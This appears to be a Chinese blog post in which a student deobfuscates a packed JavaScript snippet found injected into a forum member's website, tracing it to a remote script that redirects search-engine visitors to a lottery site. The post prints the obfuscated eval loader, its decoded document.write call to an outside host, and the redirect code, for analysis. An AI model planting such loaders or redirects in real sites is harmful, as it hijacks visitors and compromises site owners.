SEO-网站挂链分析过程

seo

本人即将步入社会的大学生,因为在校自我研究的是关于web安全的一些东西,加上对node的学习,就转了前端开发,目前是一枚标准的实习生。看看最近的一些发现吧。

突然发现图巴克的某个答辩PPT模板不错,想到去吾爱破解论坛,发表一篇悬赏帖。结果无意间的举动,让我看到了论坛网友的 网站被挂混淆js脚本 ,突然来了兴趣-导致到现在 答辩PPT还没搞 。看看 牛逼的 开发人员是怎么 写的这个脚本吧,马上进入分析阶段。

论坛网友发出的帖子内容

<script>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\p\\a\\2\\f\\c\\3\\o\\0"]["\\q\\7\\6\\0\\3"](\'\\j\\1\\2\\7\\6\\5\\0 \\0\\n\\5\\3\\e\\9\\0\\3\\k\\0\\4\\g\\b\\m\\b\\1\\2\\7\\6\\5\\0\\9 \\1\\7\\2\\e\\9\\w\\0\\0\\5\\v\\4\\4\\1\\3\\a\\y\\x\\s\\8\\1\\f\\8\\d\\2\\3\\d\\a\\1\\8\\2\\a\\c\\4\\t\\u\\i\\i\\r\\b\\6\\8\\g\\1\\9\\h\\j\\4\\1\\2\\7\\6\\5\\0\\h\');',35,35,'x74|x73|x63|x65|x2f|x70|x69|x72|x2e|x22|x6f|x61|x6d|x62|x3d|x75|x6a|x3e|x30|x3c|x78|window|x76|x79|x6e|x64|x77|x6b|x38|x31|x33|x3a|x68|x36|x32'.split('|'),0,{}))
</script>

仅过了一番代码格式-美化,看着舒服了,但是在运行的时候,老是提醒我说。缺少了window和document 对象,没window哪来的document。然后--嘿嘿。我就把参数内容先进行处理,在定义到函数内部。

function as (p, k) {
    var a = 35, c = 35;
    var k = ["x74", "x73", "x63", "x65", "x2f", "x70", "x69", "x72", "x2e", "x22", "x6f", "x61", "x6d", "x62", "x3d", "x75", "x6a", "x3e", "x30", "x3c", "x78", "window", "x76", "x79", "x6e", "x64", "x77", "x6b", "x38", "x31", "x33", "x3a", "x68", "x36", "x32"];
    var e = 0, d = {};
    e = function (c) {
        return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
    };
    if (!''.replace(/^/, String)) {
        while (c--) d[e(c)] = k[c] || e(c);
        k = [

            function (e) {
                return d[e]
            }
        ];
        e = function () {
            return '\\w+'
        };
        c = 1;
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p;
};

as('l["\\p\\a\\2\\f\\c\\3\\o\\0"]["\\q\\7\\6\\0\\3"](\'\\j\\1\\2\\7\\6\\5\\0 \\0\\n\\5\\3\\e\\9\\0\\3\\k\\0\\4\\g\\b\\m\\b\\1\\2\\7\\6\\5\\0\\9 \\1\\7\\2\\e\\9\\w\\0\\0\\5\\v\\4\\4\\1\\3\\a\\y\\x\\s\\8\\1\\f\\8\\d\\2\\3\\d\\a\\1\\8\\2\\a\\c\\4\\t\\u\\i\\i\\r\\b\\6\\8\\g\\1\\9\\h\\j\\4\\1\\2\\7\\6\\5\\0\\h\');')

运行修改后的as() 方法,返回了我想要的结果。

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x33\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');

这下好了,js混淆就这么出来了。这算混淆吗--
看到 \x64 这个鬼东西了吗,这是什么鬼,我不认识啊。但是我知道window[' --- '][' ---
'](' ')是调用了window.对象.对象.方法 。看着头疼还是解码下吧。16进制 转字符串,那不是 sou sou 的,直打开个网页新标签,开发者工具,输入 document.write('\x64')就变字符串了。

window["document"]["write"](
      '<script type="text/javascript" src="http://seo268.su.bcebos.com/1300kai.js</script>'
);

这不就是先页面写入脚本吗,有什么稀奇的。打开js脚本地址看看吧。

document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\'baidu\')>0 || s.indexOf(\'sogou\')>0 || s.indexOf(\'soso\')>0 ||s.indexOf(\'sm\')>0 ||s.indexOf(\'uc\')>0 ||s.indexOf(\'bing\')>0 ||s.indexOf(\'yahoo\')>0 ||s.indexOf(\'so\')>0 )");
document.writeln("location.href=\'http://www.1300kai.com/\';");
document.writeln("</script>");
document.writeln("");
---------------------------------------------------
var s=document.referrer
if(s.indexOf('baidu')>0 || s.indexOf('sogou')>0 || s.indexOf('soso')>0 ||s.indexOf('sm')>0 ||s.indexOf('uc')>0 ||s.indexOf('bing')>0 ||s.indexOf('yahoo')>0 ||s.indexOf('so')>0 )
location.href='http://www.1300kai.com/';

其实,脚本里的内容就是这3句核心代码。饶了这么大一圈 - - - 看看这三句话的意思吧

1、首先调用了document的referrer属性,获取从哪跳转来的地址。
好比如:我在百度网站搜索到了简书,那么这句代码获取到的值就是,百度网址。
2、第二句代码就是判断字符串中是否存在 baidu\sogou\soso等字符串,如果存在则执行 location.href进行跳转,进入这个体彩的网站。

分析完了代码,虽然执行效果没问题但是编程上还是比较欠缺。

indexof()
存在返回首次出现的位置,不存在返回-1。

然而,这位脚本seo却是写的indexOf()>0,如果 ’abcd'.indexOf('a')>0,这么一句草率的代码会怎么样。

学习了一波新知识,开阔了新的道路。以前是挂链-给网站做引流,如果浏览器挖矿也使用了这种套路。我的天-我还要不要去看资源。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,402评论 6 499
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,377评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,483评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,165评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,176评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,146评论 1 297
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,032评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,896评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,311评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,536评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,696评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,413评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,008评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,659评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,815评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,698评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,592评论 2 353

推荐阅读更多精彩内容

  • 第2章 基本语法 2.1 概述 基本句法和变量 语句 JavaScript程序的执行单位为行(line),也就是一...
    悟名先生阅读 4,145评论 0 13
  • 1 Webpack 1.1 概念简介 1.1.1 WebPack是什么 1、一个打包工具 2、一个模块加载工具 3...
    Kevin_Junbaozi阅读 6,659评论 0 16
  • 一、JS前言 (1)认识JS 也许你已经了解HTML标记(也称为结构),知道了CSS样式(也称为表示),会使用HT...
    凛0_0阅读 2,769评论 0 8
  • 第5章 引用类型(返回首页) 本章内容 使用对象 创建并操作数组 理解基本的JavaScript类型 使用基本类型...
    大学一百阅读 3,233评论 0 4
  • 火车要开了 《影响孩子一生的情商故事》讲述小熊西蒙虽然年纪还小,却已经在思考自己的未来了。就像故事中的兔子、乌龟和...
    8f95326955fd阅读 281评论 0 0